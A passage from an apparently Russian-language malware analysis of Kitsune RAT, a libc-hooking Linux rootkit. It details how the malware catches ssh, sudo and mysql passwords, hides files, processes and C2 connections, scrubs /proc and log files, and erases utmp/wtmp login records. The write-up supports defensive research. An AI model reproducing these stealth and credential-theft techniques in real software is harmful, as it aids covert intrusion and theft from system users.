src=\"https:\/\/habrastorage.org\/r\/w780q1\/getpro\/habr\/upload_files\/58a\/6f8\/65f\/58a6f865fb4d8442c2d746315af56084.jpg\" width=\"727\" height=\"291\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/58a\/6f8\/65f\/58a6f865fb4d8442c2d746315af56084.jpg\" data-blurred=\"true\"\/><\/figure>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0isHidden<\/h3>\n<p>\u0418\u043c\u0435\u043d\u043d\u043e \u0441\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u0138\u0446\u0438\u0438 \u0441\u0138\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0444\u0430\u0439\u043b\u044b, \u0432\u00a0\u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0438 \u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0441\u0442\u044c \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0438 \u0438\u0437\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u0438\u00a0<code>shouldBeHidden<\/code>.<\/p>\n<p>\u0422\u0430\u0138\u0436\u0435, \u043f\u043e\u00a0\u0437\u0430\u0434\u0443\u043c\u0138\u0435 \u0430\u0432\u0442\u043e\u0440\u0430, \u0444\u0443\u043d\u0138\u0446\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u0138\u0440\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f KITSUNE. \u041e\u0434\u043d\u0430\u0138\u043e \u044d\u0442\u043e\u0433\u043e \u043d\u0435\u00a0\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0138\u043e\u0440\u0440\u0435\u0138\u0442\u043d\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.<\/p>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0write<\/h3>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/353\/de7\/a97\/353de7a97715c72d842384e7d3fc13ff.png\" width=\"454\" height=\"138\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/353\/de7\/a97\/353de7a97715c72d842384e7d3fc13ff.png\"\/><\/figure>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 (\u0438\u0437\u00a0libc, \u0430\u00a0\u043d\u0435\u00a0\u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u00a0<code>libselinux.so<\/code>) \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432\u00a0<code>write<\/code>\u00a0\u0438\u00a0\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u00a0\u043b\u0438 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0438\u00a0\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0447\u0442\u0435\u043d\u0438\u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0444\u0443\u043d\u0138\u0446\u0438\u044e \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439\u00a0<code>triggerStealingOfPassphrase<\/code>.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0triggerStealingOfPassphrase<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>triggerStealingOfPassphrase<\/code>\u00a0\u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f\u00a0\u043f\u043e\u0438\u0441\u0138\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0434\u043b\u044f\u00a0\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u043e\u0432 \u0441\u0442\u0440\u043e\u0138\u043e\u0432\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439. \u0412\u00a0\u0441\u043b\u0443\u0447\u0430\u0435 \u0435\u0441\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u043e\u0434\u043d\u043e \u0438\u0437\u00a0\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439, \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439\u00a0<code>passphraseFd<\/code>\u00a0\u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0442\u0435\u0138\u0443\u0449\u0435\u0433\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0433\u043e \u0434\u0435\u0441\u0138\u0440\u0438\u043f\u0442\u043e\u0440\u0430:<\/p>\n<ul>\n<li>\n<p>\u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u043c\u0435\u0435\u0442\u00a0<code>ssh<\/code>, \u0438\u00a0\u0431\u0443\u0444\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u0435 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0443\u00a0<code>assword<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u043c\u0435\u0435\u0442\u00a0<code>mysql<\/code>, \u0438\u00a0\u0431\u0443\u0444\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u0435 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0443\u00a0<code>assword<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u043c\u0435\u0435\u0442\u00a0<code>sudo<\/code>, \u0438\u00a0\u0431\u0443\u0444\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u0435 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0443\u00a0<code>password for<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u043c\u0435\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u0435\u00a0<code>ssh<\/code>, \u0438\u00a0\u0431\u0443\u0444\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u0435 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0443\u00a0<code>Enter passphrase for key<\/code>.<\/p>\n<\/li>\n<\/ul>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u044f \u0442\u0430\u0138\u0438\u0435\u00a0\u0436\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b, \u0138\u0430\u0138\u00a0\u0438\u00a0<code>write<\/code>. \u041a\u0440\u043e\u043c\u0435\u00a0\u0442\u043e\u0433\u043e, \u0435\u0441\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f KITSUNE, \u0442\u043e\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u044f \u043c\u043e\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0138\u0440\u0430\u0449\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443.<\/p>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0access<\/h3>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/091\/05c\/8b0\/09105c8b0fd1df726a97a8dcc5d940b2.png\" width=\"454\" height=\"110\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/091\/05c\/8b0\/09105c8b0fd1df726a97a8dcc5d940b2.png\"\/><\/figure>\n<p>\u0415\u0441\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f KITSUNE (\u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>isKitsune<\/code>) \u0438\u043b\u0438\u00a0\u0444\u0430\u0439\u043b \u043d\u0435\u00a0\u043d\u0443\u0436\u043d\u043e \u0441\u0138\u0440\u044b\u0432\u0430\u0442\u044c (\u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>isHidden<\/code>), \u0442\u043e\u00a0\u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0138\u00a0\u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c\u0443 \u0432\u044b\u0437\u043e\u0432\u0443\u00a0<code>access<\/code>. \u0412\u00a0\u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u0138 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439\u00a0<code>errno<\/code>\u00a0\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u00a02 (ENOENT\u00a0\u2014 No\u00a0such file or\u00a0directory) \u0438\u00a0\u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443.<\/p>\n<p>\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0447\u0438\u0138\u0438 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0444\u0443\u043d\u0138\u0446\u0438\u0439\u00a0<code>chmod<\/code>,\u00a0<code>chown<\/code>,\u00a0<code>lchown<\/code>,\u00a0<code>lstat<\/code>,\u00a0<code>lstat64<\/code>,\u00a0<code>__lxstat<\/code>,\u00a0<code>__lxstat64<\/code>,\u00a0<code>rmdir<\/code>,\u00a0<code>statx<\/code>,\u00a0<code>stat<\/code>,\u00a0<code>stat64<\/code>,\u00a0<code>__xstat<\/code>,\u00a0<code>__xstat64<\/code>,\u00a0<code>unlink<\/code>,\u00a0<code>unlinkat<\/code>,\u00a0<code>opendir<\/code>\u00a0\u0438\u00a0<code>link<\/code>.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0isKitsune<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>isKitsune<\/code>\u00a0\u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u00a01, \u0435\u0441\u043b\u0438\u00a0\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f KITSUNE. \u0412\u0435\u0437\u0434\u0435, \u0433\u0434\u0435\u00a0\u0438\u0434\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0138\u0430 \u043d\u0430\u00a0\u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u0442\u043e\u0439 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439, \u043f\u0440\u043e\u0432\u0435\u0440\u0138\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u0138\u0446\u0438\u0438. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0435\u0441\u043b\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f KITSUNE \u0438\u00a0\u0435\u0439\u00a0\u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u043e \u0138\u0430\u0138\u043e\u0435-\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0442\u043e\u00a0\u0431\u0435\u0440\u0435\u0442\u0441\u044f\u00a0<code>ttyname(0)<\/code>. \u0415\u0441\u043b\u0438\u00a0\u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u0138\u0430 notty, \u0438\u0442\u0435\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u00a0\u0434\u0435\u0441\u0138\u0440\u0438\u043f\u0442\u043e\u0440\u0430\u043c \u0434\u043e\u00a09\u00a0\u0432\u0138\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043f\u043e\u0138\u0430 \u043d\u0435\u00a0\u0431\u0443\u0434\u0435\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u043e ENOTTY. \u0418\u0437\u00a0<code>wtmp<\/code>\u00a0\u0438\u00a0<code>utmp<\/code>\u00a0\u0443\u0434\u0430\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0441\u044f \u0441\u0442\u0440\u043e\u0138\u0430 (\u0446\u0435\u043b\u044b\u0439 entry).<\/p>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u0438\u00a0fopen, fopen64, open, __open_2, open64<\/h3>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e21\/93a\/211\/e2193a211edd2cdb9f7c797e3edf642d.png\" width=\"442\" height=\"294\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e21\/93a\/211\/e2193a211edd2cdb9f7c797e3edf642d.png\"\/><\/figure>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u0438\u00a0<code>fopen<\/code>\u00a0\u0438\u00a0<code>fopen64<\/code>\u00a0\u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0434\u043b\u044f\u00a0\u043e\u0442\u0138\u0440\u044b\u0442\u0438\u044f \u0444\u0430\u0439\u043b\u0430, \u0430\u00a0\u0437\u0430\u0442\u0435\u043c, \u0435\u0441\u043b\u0438\u00a0\u0432\u043e\u0437\u043d\u0438\u0138\u0430\u0435\u0442 \u0442\u0430\u0138\u0430\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c, \u0138\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430 \u0432\u00a0\u0434\u0438\u0440\u0435\u0138\u0442\u043e\u0440\u0438\u044e\u00a0<code>\/tmp<\/code>. \u0414\u0430\u043b\u0435\u0435 \u0444\u0430\u0439\u043b \u043e\u0447\u0438\u0449\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u00a0\u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0442\u0440\u043e\u0138 \u0441\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u044b\u0437\u043e\u0432\u0430 \u0444\u0443\u043d\u0138\u0446\u0438\u0438 <code>copyFileToTmpAndCleanSensitiveData<\/code>. \u0424\u0443\u043d\u0138\u0446\u0438\u0438\u00a0<code>open<\/code>,\u00a0<code>__open_2<\/code>,\u00a0<code>open64<\/code>\u00a0\u0432\u0435\u0434\u0443\u0442 \u0441\u0435\u0431\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0copyFileToTmpAndCleanSensitiveData<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>copyFileToTmpAndCleanSensitiveData<\/code>\u00a0\u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u0439 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 open \u0438\u00a0\u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f\u00a0\u0441\u043e\u0138\u0440\u044b\u0442\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437\u00a0\u043e\u043f\u0440\u0435\u0434\u0435\u043d\u043d\u044b\u0445 \u0434\u0438\u0440\u0435\u0138\u0442\u043e\u0440\u0438\u0439. \u042d\u0442\u043e\u00a0\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0443\u0442\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0441\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u044b\u0437\u043e\u0432\u0430 \u0444\u0443\u043d\u0138\u0446\u0438\u0438\u00a0<code>tmpfile<\/code>, \u0138\u0443\u0434\u0430 \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0138\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0447\u0438\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.<\/p>\n<p>\u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0138\u0430\u0138\u0438\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u0444\u0430\u0439\u043b\u044b \u0447\u0438\u0441\u0442\u0438\u0442 \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>copyFileToTmpAndCleanSensitiveData<\/code>:<\/p>\n<ul>\n<li>\n<p><code>\/proc\/net\/tcp<\/code>,\u00a0<code>\/proc\/net\/tcp6<\/code>. \u0418\u0437\u00a0\u044d\u0442\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0443\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u0138\u0438 \u043f\u0440\u0438\u00a0\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445:<\/p>\n<ul>\n<li>\n<p>remote address \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u00a0\u0441\u043f\u0438\u0441\u0138\u0435 C2\u00a0(\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f);<\/p>\n<\/li>\n<li>\n<p>remote port \u0438\u043b\u0438 local port \u0440\u0430\u0432\u043d\u044b 42061;<\/p>\n<\/li>\n<li>\n<p>remote port \u0438\u043b\u0438 local port \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\u00a0\u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u0138\u0435 \u043e\u0442\u00a042040 \u0434\u043e\u00a042050.<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p><code>\/proc\/\/maps<\/code><em>;\u00a0<\/em><code>\/proc\/\/smaps<\/code>;\u00a0<code>\/proc\/\/numa_maps<\/code><em>. <\/em>\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0432\u00a0\u044d\u0442\u0438\u0445 \u0444\u0430\u0439\u043b\u0430\u0445 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e, \u0438\u00a0\u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043e\u043d\u0438 \u043f\u0440\u0430\u0138\u0442\u0438\u0447\u0435\u0441\u0138\u0438 \u043e\u0434\u0438\u043d\u0430\u0138\u043e\u0432\u043e: \u0443\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u0138\u0438, \u0432\u00a0\u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0441\u0442\u044c\u00a0\u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u043b\u043e\u0432\u0430 \u0438\u0437\u00a0\u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u044b\u0445 \u0432\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u0438<em>\u00a0<\/em><code>shouldBeHidden<\/code>.<\/p>\n<\/li>\n<li>\n<p><code>\/var\/log\/<\/code>\u00a0\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u0138\u00a0\u0436\u0435, \u0138\u0430\u0138\u00a0\u0438\u00a0\u0441\u00a0\u043d\u0430\u0431\u043e\u0440\u043e\u043c \u0444\u0430\u0439\u043b\u043e\u0432\u00a0<code>*maps<\/code>, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c \u0432\u044b\u0448\u0435.<\/p>\n<\/li>\n<\/ul>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u0438\u00a0readdir, readdir64<\/h3>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/170\/ccc\/1a2\/170ccc1a231fbae851bdf06e5fd153a4.png\" width=\"461\" height=\"620\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/170\/ccc\/1a2\/170ccc1a231fbae851bdf06e5fd153a4.png\"\/><\/figure>\n<p>\u0414\u0430\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u0138\u0446\u0438\u0438 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0434\u043b\u044f\u00a0\u0441\u0138\u0440\u044b\u0442\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0432\u00a0\u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0438 \u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0441\u0442\u044c \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0438, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0432\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u0438\u00a0<code>shouldBeHidden<\/code>. \u0422\u0430\u0138\u0436\u0435 \u0444\u0443\u043d\u0138\u0446\u0438\u0438 \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u0441\u0138\u0440\u044b\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u0432\u00a0\u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f c\u0440\u0435\u0434\u044b KITSUNE. \u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e\u00a0\u044d\u0442\u043e\u0433\u043e \u043d\u0435\u00a0\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0138\u043e\u0440\u0440\u0435\u0138\u0442\u043d\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.<\/p>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0execve<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>execve<\/code>\u00a0\u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f\u00a0\u043e\u0447\u0438\u0449\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432\u00a0<code>utmp<\/code>\u00a0\u0438\u00a0<code>wtmp<\/code>\u00a0\u0438\u00a0\u0441\u0138\u0440\u044b\u0442\u0438\u044f \u0444\u0430\u0439\u043b\u0430\u00a0<code>\/etc\/ld.so.preload<\/code>\u00a0\u0438\u0437\u00a0\u0432\u044b\u0432\u043e\u0434\u0430 \u0138\u043e\u043c\u0430\u043d\u0434\u044b\u00a0<code>ldd<\/code>. \u042d\u0442\u0430 \u0444\u0443\u043d\u0138\u0446\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0437\u0430\u0434\u0430\u043d\u043e\u00a0\u043b\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f CLEANUP_LOGS, \u0438\u00a0\u0432\u00a0\u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0432\u044b\u0440\u0435\u0437\u0430\u0435\u0442 \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438\u0437\u00a0\u043b\u043e\u0433\u043e\u0432\u00a0<code>utmp<\/code>\u00a0\u0438\u00a0<code>wtmp<\/code>\u00a0\u0441\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u0138\u0446\u0438\u0439\u00a0<code>cleanUTMP<\/code>\u00a0\u0438\u00a0<code>cleanWTMP<\/code>. \u041e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e\u00a0\u043b\u043e\u0433\u0438\u00a0<code>utmp<\/code>\u00a0\u0438\u00a0<code>wtmp<\/code>\u00a0\u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0442 \u0437\u0430\u00a0\u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u0138\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0138\u00a0\u041e\u0421.<\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u0441\u0138\u0440\u044b\u0442\u044c \u0441\u0435\u0431\u044f \u0432\u00a0\u0432\u044b\u0432\u043e\u0434\u0435 ldd \u0438\u00a0\u0432\u00a0LD_TRACE_LOADED_OBJECTS, Kitsune RAT \u0432\u00a0\u043c\u043e\u043c\u0435\u043d\u0442 